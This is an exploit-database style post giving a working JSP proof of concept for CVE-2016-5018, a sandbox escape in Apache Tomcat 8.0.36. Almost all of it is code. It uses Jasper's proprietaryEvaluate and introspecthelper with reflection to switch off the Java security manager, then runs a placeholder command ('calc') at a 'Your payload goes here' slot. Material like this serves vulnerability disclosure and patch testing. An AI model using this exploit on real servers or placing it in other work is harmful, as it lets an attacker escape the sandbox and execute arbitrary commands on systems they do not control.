Tomcat proprietaryEvaluate 9.0.0.M1 – Sandbox Escape
# Exploit Title: Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape # Date: 2020-01-07 # Exploit Author: Harrison Neal, PatchAdvisor # Vendor Homepage: https://tomcat.apache.org/ # Software Link: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.exe # Version: 8.0.36 # Description: Tomcat proprietaryEvaluate/introspecthelper Sandbox Escape # Tested on: Windows # CVE: CVE-2016-5018 /* # See https://tomcat.apache.org/tomcat-8.0-doc/security-manager-howto.html for more information about the default sandbox. # When Tomcat 8 is configured to run as a service, you can use the Tomcat8w.exe tool to enable/disable the security manager. # In the Java tab, add the following options: # -Djava.security.manager # -Djava.security.policy=C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\catalina.policy */ <%@ page import="java.util.*,java.io.*,org.apache.jasper.runtime.*,java.lang.reflect.*"%> <% SecurityManager sm = System.getSecurityManager(); if (sm != null) { try { ProtectedFunctionMapper pfm = ProtectedFunctionMapper.getInstance(); { // Tomcat 7+ // Get the desired method Method[] methods = (Method[]) PageContextImpl.proprietaryEvaluate( "${pageContext.getServletContext().getClass().getDeclaredMethods()}", Method[].class, pageContext, pfm /*, false*/); // Uncomment "false" parameter for Tomcat 7 Method theMethod = null; for (Method m : methods) { if ("executeMethod".equals(m.getName())) { theMethod = m; break; } } // Set it to accessible JspRuntimeLibrary.introspecthelper( theMethod, "accessible", "true", request, null, false); // Run it theMethod.invoke(pageContext.getServletContext(), System.class.getMethod("setSecurityManager", new Class[]{SecurityManager.class}), null, new Object[]{null} ); } /*{ // Tomcat 5.5 and 6 pfm.mapFunction("hello:world", System.class, "setSecurityManager", new Class[] { SecurityManager.class }); PageContextImpl.proprietaryEvaluate("${hello:world(null)}", Object.class, pageContext, pfm, false); }*/ } catch (Throwable ex) { PrintWriter pw = new PrintWriter(out); ex.printStackTrace(pw); pw.flush(); } } // Your payload goes here try { Runtime.getRuntime().exec("calc"); } catch (Throwable ex) { PrintWriter pw = new PrintWriter(out); ex.printStackTrace(pw); pw.flush(); } // Optional put the security manager back if (sm != null) { System.setSecurityManager(sm); } %> |